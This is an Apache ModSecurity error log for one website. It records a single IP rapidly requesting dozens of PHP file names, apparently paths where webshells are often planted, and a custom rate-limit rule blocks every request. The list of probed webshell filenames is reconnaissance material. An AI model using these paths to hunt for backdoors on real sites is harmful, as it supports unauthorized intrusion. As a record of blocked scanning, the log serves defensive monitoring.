[Mon Apr 13 17:09:31.072106 2026] [:error] [pid 9314:tid 9332] [client 20.100.201.121:64124] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/dx.php"] [unique_id "adyyy2_r4W8fX2GWyGTHNgAAAZA"]
[Mon Apr 13 17:09:31.192320 2026] [:error] [pid 63406:tid 63433] [client 20.100.201.121:64644] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyyy7HZEIkQ0Zmgp5oaSwAAANY"]
[Mon Apr 13 17:09:31.679085 2026] [:error] [pid 7228:tid 7248] [client 20.100.201.121:63126] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyywEnn1dQrOSHHNVYVwAAARI"]
[Mon Apr 13 17:09:32.261942 2026] [:error] [pid 7228:tid 7240] [client 20.100.201.121:65183] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyyzAEnn1dQrOSHHNVYWQAAAQo"]
[Mon Apr 13 17:09:32.292169 2026] [:error] [pid 63406:tid 63412] [client 20.100.201.121:64065] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyzLHZEIkQ0Zmgp5oaUQAAAME"]
[Mon Apr 13 17:09:33.064979 2026] [:error] [pid 63406:tid 63422] [client 20.100.201.121:64659] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/upll22.php"] [unique_id "adyyzbHZEIkQ0Zmgp5oaXwAAAMs"]
[Mon Apr 13 17:09:33.084984 2026] [:error] [pid 63406:tid 63413] [client 20.100.201.121:65126] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyzbHZEIkQ0Zmgp5oaYAAAAMI"]
[Mon Apr 13 17:09:33.717145 2026] [:error] [pid 63311:tid 63371] [client 20.100.201.121:63731] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/menu.php"] [unique_id "adyyzaHjrGN1MqBCVFnPswAAAIA"]
[Mon Apr 13 17:09:34.090670 2026] [:error] [pid 9314:tid 9338] [client 20.100.201.121:64689] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyyzm_r4W8fX2GWyGTHOAAAAZY"]
[Mon Apr 13 17:09:34.334021 2026] [:error] [pid 9314:tid 9339] [client 20.100.201.121:64602] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyyzm_r4W8fX2GWyGTHOQAAAZc"]
[Mon Apr 13 17:09:34.914674 2026] [:error] [pid 63311:tid 63391] [client 20.100.201.121:64694] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyyzqHjrGN1MqBCVFnPtAAAAJQ"]
[Mon Apr 13 17:09:34.972440 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:65108] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyyzm_r4W8fX2GWyGTHPgAAAZQ"]
[Mon Apr 13 17:09:35.825306 2026] [:error] [pid 63309:tid 63336] [client 20.100.201.121:63633] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyyz0pIKZ10weXpf0UCEQAAABc"]
[Mon Apr 13 17:09:36.229717 2026] [:error] [pid 63311:tid 63394] [client 20.100.201.121:65097] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyy0KHjrGN1MqBCVFnPtgAAAJc"]
[Mon Apr 13 17:09:36.910715 2026] [:error] [pid 7228:tid 7230] [client 20.100.201.121:65092] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/100.php"] [unique_id "adyy0AEnn1dQrOSHHNVYYgAAAQA"]
[Mon Apr 13 17:09:37.262692 2026] [:error] [pid 63311:tid 63383] [client 20.100.201.121:64592] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adyy0aHjrGN1MqBCVFnPugAAAIw"]
[Mon Apr 13 17:09:39.019688 2026] [:error] [pid 63406:tid 63420] [client 20.100.201.121:64169] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyy07HZEIkQ0Zmgp5oadQAAAMk"]
[Mon Apr 13 17:09:39.390397 2026] [:error] [pid 63406:tid 63421] [client 20.100.201.121:64649] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyy07HZEIkQ0Zmgp5oadgAAAMo"]
[Mon Apr 13 17:09:41.168817 2026] [:error] [pid 63406:tid 63415] [client 20.100.201.121:64700] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyy1bHZEIkQ0Zmgp5oagAAAAMQ"]
[Mon Apr 13 17:09:43.229369 2026] [:error] [pid 9314:tid 9325] [client 20.100.201.121:65121] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyy12_r4W8fX2GWyGTHTgAAAYk"]
[Mon Apr 13 17:09:44.648149 2026] [:error] [pid 63309:tid 63316] [client 20.100.201.121:63714] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyy2EpIKZ10weXpf0UCFgAAAAM"]
[Mon Apr 13 17:09:46.328849 2026] [:error] [pid 57183:tid 57204] [client 20.100.201.121:65178] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyy2jDO3t8R5NaxzYTP_wAAAVM"]
[Mon Apr 13 17:09:46.455349 2026] [:error] [pid 9314:tid 9328] [client 20.100.201.121:63641] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyy2m_r4W8fX2GWyGTHUwAAAYw"]
[Mon Apr 13 17:09:47.108862 2026] [:error] [pid 63311:tid 63383] [client 20.100.201.121:65111] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iindv.php"] [unique_id "adyy26HjrGN1MqBCVFnP1gAAAIw"]
[Mon Apr 13 17:09:48.126618 2026] [:error] [pid 57183:tid 57189] [client 20.100.201.121:64585] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/byrgo.php"] [unique_id "adyy3DDO3t8R5NaxzYTQCQAAAUQ"]
[Mon Apr 13 17:09:48.137451 2026] [:error] [pid 57183:tid 57185] [client 20.100.201.121:64150] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyy3DDO3t8R5NaxzYTQCgAAAUA"]
[Mon Apr 13 17:09:49.008976 2026] [:error] [pid 7228:tid 7242] [client 20.100.201.121:64597] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyy3QEnn1dQrOSHHNVYcwAAAQw"]
[Mon Apr 13 17:09:49.165084 2026] [:error] [pid 63309:tid 63315] [client 20.100.201.121:64156] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyy3UpIKZ10weXpf0UCHQAAAAI"]
[Mon Apr 13 17:09:49.604098 2026] [:error] [pid 7228:tid 7248] [client 20.100.201.121:64580] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyy3QEnn1dQrOSHHNVYdQAAARI"]
[Mon Apr 13 17:09:50.362090 2026] [:error] [pid 9314:tid 9327] [client 20.100.201.121:63104] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyy3m_r4W8fX2GWyGTHVwAAAYs"]
[Mon Apr 13 17:09:50.873287 2026] [:error] [pid 57183:tid 57196] [client 20.100.201.121:63737] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/maintura.php"] [unique_id "adyy3jDO3t8R5NaxzYTQFgAAAUs"]
[Mon Apr 13 17:09:51.225485 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:65195] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyy3zDO3t8R5NaxzYTQFwAAAU0"]
[Mon Apr 13 17:09:51.823202 2026] [:error] [pid 63311:tid 63393] [client 20.100.201.121:64594] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyy36HjrGN1MqBCVFnP2gAAAJY"]
[Mon Apr 13 17:09:51.827034 2026] [:error] [pid 57183:tid 57197] [client 20.100.201.121:64590] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-243.php"] [unique_id "adyy3zDO3t8R5NaxzYTQHAAAAUw"]
[Mon Apr 13 17:09:52.580660 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:65180] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyy4G_r4W8fX2GWyGTHWgAAAYM"]
[Mon Apr 13 17:09:52.691977 2026] [:error] [pid 7228:tid 7238] [client 20.100.201.121:64110] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyy4AEnn1dQrOSHHNVYeQAAAQg"]
[Mon Apr 13 17:09:52.772582 2026] [:error] [pid 9314:tid 9320] [client 20.100.201.121:65173] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy4G_r4W8fX2GWyGTHWwAAAYQ"]
[Mon Apr 13 17:09:53.338019 2026] [:error] [pid 9314:tid 9338] [client 20.100.201.121:64130] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyy4W_r4W8fX2GWyGTHXwAAAZY"]
[Mon Apr 13 17:09:53.420430 2026] [:error] [pid 57183:tid 57193] [client 20.100.201.121:64103] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyy4TDO3t8R5NaxzYTQIQAAAUg"]
[Mon Apr 13 17:09:54.268077 2026] [:error] [pid 7228:tid 7246] [client 20.100.201.121:65119] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyy4gEnn1dQrOSHHNVYfAAAARA"]
[Mon Apr 13 17:09:54.324164 2026] [:error] [pid 7228:tid 7231] [client 20.100.201.121:64638] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adyy4gEnn1dQrOSHHNVYfQAAAQE"]
[Mon Apr 13 17:09:54.908088 2026] [:error] [pid 63310:tid 63358] [client 20.100.201.121:65192] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyy4noXpRU5ztmwPjIunAAAAE4"]
[Mon Apr 13 17:09:55.073704 2026] [:error] [pid 9314:tid 9333] [client 20.100.201.121:64085] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/pm90apbv3v5fvgkbguyiCdefault.php"] [unique_id "adyy42_r4W8fX2GWyGTHYgAAAZE"]
[Mon Apr 13 17:09:55.542490 2026] [:error] [pid 7228:tid 7247] [client 20.100.201.121:64614] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyy4wEnn1dQrOSHHNVYgAAAARE"]
[Mon Apr 13 17:09:55.840197 2026] [:error] [pid 7228:tid 7248] [client 20.100.201.121:64179] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyy4wEnn1dQrOSHHNVYgwAAARI"]
[Mon Apr 13 17:09:56.083210 2026] [:error] [pid 9314:tid 9335] [client 20.100.201.121:64595] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyy5G_r4W8fX2GWyGTHZwAAAZM"]
[Mon Apr 13 17:09:56.640078 2026] [:error] [pid 7228:tid 7245] [client 20.100.201.121:65093] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyy5AEnn1dQrOSHHNVYhAAAAQ8"]
[Mon Apr 13 17:09:56.646952 2026] [:error] [pid 9314:tid 9319] [client 20.100.201.121:63730] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adyy5G_r4W8fX2GWyGTHagAAAYM"]
[Mon Apr 13 17:09:57.178064 2026] [:error] [pid 63406:tid 63432] [client 20.100.201.121:65193] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy5bHZEIkQ0Zmgp5oasQAAANU"]
[Mon Apr 13 17:09:57.418723 2026] [:error] [pid 63406:tid 63431] [client 20.100.201.121:63173] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyy5bHZEIkQ0Zmgp5oaswAAANQ"]
[Mon Apr 13 17:09:57.805575 2026] [:error] [pid 57183:tid 57198] [client 20.100.201.121:62739] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy5TDO3t8R5NaxzYTQKwAAAU0"]
[Mon Apr 13 17:09:58.288512 2026] [:error] [pid 57183:tid 57194] [client 20.100.201.121:65117] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/CDX1.php"] [unique_id "adyy5jDO3t8R5NaxzYTQLAAAAUk"]
[Mon Apr 13 17:09:58.987166 2026] [:error] [pid 63309:tid 63322] [client 20.100.201.121:65095] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gvg1bvpsgtot1rpklCdefault.php"] [unique_id "adyy5kpIKZ10weXpf0UCIwAAAAk"]
[Mon Apr 13 17:09:59.004942 2026] [:error] [pid 63309:tid 63329] [client 20.100.201.121:65161] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy50pIKZ10weXpf0UCJAAAABA"]
[Mon Apr 13 17:09:59.840987 2026] [:error] [pid 9314:tid 9336] [client 20.100.201.121:65152] [client 20.100.201.121] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/zc-220.php"] [unique_id "adyy52_r4W8fX2GWyGTHeAAAAZQ"]
